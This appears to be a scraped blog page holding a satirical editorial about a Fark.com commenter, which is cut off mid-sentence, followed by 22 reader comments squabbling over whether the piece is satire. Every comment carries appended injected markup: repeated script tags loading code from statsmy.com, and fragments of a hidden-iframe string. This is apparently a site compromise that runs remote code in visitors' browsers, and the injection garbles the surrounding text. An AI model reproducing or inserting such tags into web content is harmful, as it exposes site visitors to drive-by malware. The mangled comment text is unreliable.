Smooth Operator - Diary Of A Farker

Diary Of A Farker

by Mark on 1/12/2005 (22)

"Whoaa! Lame!...Sappy!...Sucks!....LAME!...WHOAAAAA!!!"

Egon Zigga hammered the "F" key repeatedly. Picking up his computer keyboard like a partially functional etch-and-sketch, Zigga slam hammered it down on his desk, sending tiny dehydrated bits of french fries and jalapeno nacho crispers flying like crunchy edible confetti.

300lb. telephone support reps, Taco Bell and computers are a deadly, disfunctional mix.

Zigga, a.k.a "Mr. Nuts", had a problem. One of the legions of www.fark.com fans, known as "Farkers", Zigga had a bone to pick with one of the submissions posted there.

In order to understand Zigga's rage, one must first understand www.fark.com.

As the internet evolved, sometime around 1996, wider bandwidth, faster servers, routers, and more powerfull home computers, allowed 'point and click' fast data downloads from server to remote client to become a reality. As the web opened up, and home PC's became more numerous than TV's, virtually the entire business, entertainment and network news media industries, sniffing potential profit, flocked to the web to get their piece of the competitive online pie.

Somewhere along the way, some enterprising webmaster came to the (correct) and quite ingenius realization that Internet users, known as "surfers", would jump to a have a readily compiled list of cool news stories and links at their immediate disposal, the hosting page providing active URL's a mouse click away, in return turning page hits into advertising dollars, as a few pennies are paid for each hit on an ad, and charging varying rates (depending on the page's traffic) for rotating ad space and banners.

It was all about $$$

Predictably, most of these 'listings pages' like to post links to stories and media that is edgy and emotionally or sexually hot. After all, sex and dirt sells. What's new about that realization? In the digital age, sex and dirt gets you hits, and mo' hits mean mo' $$$

Don't expect to find fine literature over here. Mark Twain, Robert Browning, Gertrud Stein, Kurt Vonnegut jr...none would stand a chance in e-mail hell of getting their stories posted in hot-links land. The majority of stories posted are highly vulgar and violent in nature, in order to capture a few precious moments - and a few precious ad clicks- of a web surfers attention before they meander off onto their private, well worn rut of 'favorite links', just like flashy Lite Beer commercials grab us for 30 seconds on TV.

One of the queerly unexpected developments to arise with pages like King Fark, and its baby clones, Madville, Alldumb, Wellplayed.net, Snikksnakk, Dave's Daily et. al., is the rise of loyal 'communities', or regular page visitors who 'register' on their respective favorite page, and can submit active links or leave comments on links that others have posted.

These local communities can become oddly tight knit, Bohemian, territorial and exclusive.

A small percentage of posted comments are favorable, but most are more often derogatory and vicious, screaming "Lame!", "Sucks!" "Sappy", or more often, "Total Shit!"

*Yawn*. Predictable. Everybody's a critic, so why not play it for all it's worth?

By giving the illusion of "voice" to the grumbling and untalented , the page gets more hits, draws in more submissions, and makes more money for the webmaster.

Nice, tight, neat, and Freudian as hell.

Laughing diabolically, Egon Zigga comment hammered a satire post with a Frenchman's wave and keenly checked his page submission score.

"If you're go

page has been viewed 10020 times

1. by El_Swino on 3/1/2007 4:52:29 PM

I think this article is a perfect example of why many people question the ethics of many bloggers, and refuse to recognize them as being journalists. If you'll notice, Mr. Motz claims that this Zigga person is a Farker, a member at www.fark.com. And yet: '"If you're going to post something here, make sure it's at least REASONABLY funny! And only 10 more points and I'll be a Platinum member!" Which, for Zigga, means that for only 19.99 a month, he qualifies for a lightning bolt avatar and moderator status, and for only 29.99 a month more he qualifies for Titanium status and 'partial' administrative access...and so on.' This isn't the Fark structure at all. It's not even close. Why does Mr. Motz need to invent facts? src= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Motz on 3/1/2007 4:52:29 PM

because it's satire. So there."0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by El_Swino on 3/1/2007 4:52:29 PM

Shame you wasted the effort, then. It's not satire if it's not satiricle. As an example: '*Yawn*. Predictable. Everybody's a critic, so why not play it for all it's worth? By giving the illusion of "voice" to the grumbling and untalented , the page gets more hits, draws in more sumbissions, and makes more money for the webmaster.' This is an editorial comment, not generally found in satire. You need to brush up on your Lit. skillz, d00d.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Motz on 3/1/2007 4:52:29 PM

You READ it didn't you? I win."0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by El_Swino on 3/1/2007 4:52:29 PM

Completely. Twice. What you've got there, under the heading "Editorial" (typically a title not reserved for satire), is a collection of personal opinion and invective, tied together with a misrepresentation of a popular website. It's not simply not good satire, it's not satire at all. You're not sure what it is you're doing, let alone how."0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Katy on 3/1/2007 4:52:29 PM

I would like to say that if you don't like it you don't have to read it... Who is more of an imbicile: the fool who writes an editorial and calls it satire, or the ignorant "intellectual" that wastes him time reading and commenting on why it's not 5 stars? If you want Pulitzer quality, don't skim stories on the internet. Also, at the risk of shot-circuting your limited ego-fed intelligence, I would like to point out that it is possible to have a satirical editorial. There ios also such a thing as creative liscense. Not everyone is forced to follow a standard set of rules when writing. Some have the talant, creativity, or insight to simply write. You might consider trying your "argumentative intellectual" rountine somewhere where the general IQ level is lower than 62. You'll be amung friends.s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Motz on 3/1/2007 4:52:29 PM

thanks sweety ;)isplay: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Zigga on 3/1/2007 4:52:29 PM

Sappyisplay:none"></ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Katy on 3/1/2007 4:52:29 PM

Oh hush...I only said it 'cause I thought he was a prick...? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Motz on 3/1/2007 4:52:29 PM

yummy song...hush hush! In the dark, i like to read his mind But i'm frightened of the things i might find Oh, there must be something he's thinking of To tear him away When i tell him that i'm falling in love Why does he say Hush hush keep it down now voices carry Hush hush keep it down now voices carry Uh-uh I try so hard not to get upset Because i know all the trouble i'll get Oh, he tells me tears are something to hide And something to fear And i try so hard to keep it inside So no one can hear Hush hush keep it down now voices carry Hush hush keep it down now voices carry Uh-uhgo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Katy on 3/1/2007 4:52:29 PM

Better "hush" song reference: Tongue-tied, short of breath, don't even try Try a little harder Something's wrong, you're not naive, you must be strong Ooh, baby, try Hey girl, move a little closer. You're Too shy shy Hush hush, eye to eye Too shy shy Hush hush, eye to eye Too shy shy Hush hush, eye to eye Too shy shy Hush hush Modern medicine falls short of your complaints Ooh, try a little harder You're moving in circles, won't you dilate Baby try Hey girl, move a little closer 'Cause, you're Too shy shy Hush hush, eye to eye Too shy shy Hush hush, eye to eye Too shy shy Hush hush, eye to eye Too shy shy Hush hush s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by Motz on 3/1/2007 4:52:29 PM

you know what my favorite blond girl love song is? EZ... Take On Me Aha We're talking away I don't know what I'm to say I'll say it anyway Today's another day to find you Shying away I'll be coming for your love, OK? Take on me, take me on I'll be gone In a day or two So needless to say I'm odds and ends But that's me stumbling away Slowly learning that life is OK. Say after me It's no better to be safe than sorry Take on me, take me on I'll be gone In a day or two Oh the things that you say Is it life or Just a play my worries away You're all the things I've got to remember You're shying away I'll be coming for you anyway Take on me, take me on I'll be gone In a day Take on me, take me on I'll be gone In a dayt </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

13. by birger on 3/1/2007 4:52:29 PM

who votes for motz and katy being the same person *raises hand*go. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

14. by chucklebuckle on 3/1/2007 4:52:29 PM

who cares? He gets points for the Til Tuesday reference.?sid </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

15. by chump on 3/1/2007 4:52:29 PM

fuck you chucklebucklei </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

16. by bystander on 3/1/2007 4:52:29 PM

who votes for chucklebuckle and chump being the same person? *raises hand*n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

17. by GOD on 3/1/2007 4:52:29 PM

you'd be right, bystander...because you are ALSO US! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

18. by optimus_prime on 3/1/2007 4:52:29 PM

How much did you pay to get a link put up on Fark? It was pretty lame.n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

19. by Motz on 3/1/2007 4:52:29 PM

you can't buy your way onto fark, schwartz. That's my third, btw.g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

20. by Drysocket on 3/1/2007 4:52:29 PM

OMG, I think I'M chucklebuckle AND chump! Does my vote count if I raise my hand?u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

21. by wonkaguy on 3/1/2007 4:52:29 PM

This was a complete waste of time. Not funny, unoriginal, and uninspired. Kudos to you on your deviant trick to get me to read your stupid blog. You win. Have a cookie.go. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

22. by A_Fat_Bastard on 3/1/2007 4:52:29 PM

Your Satire skills = "Lame!", "Sucks!" "Sad"h="0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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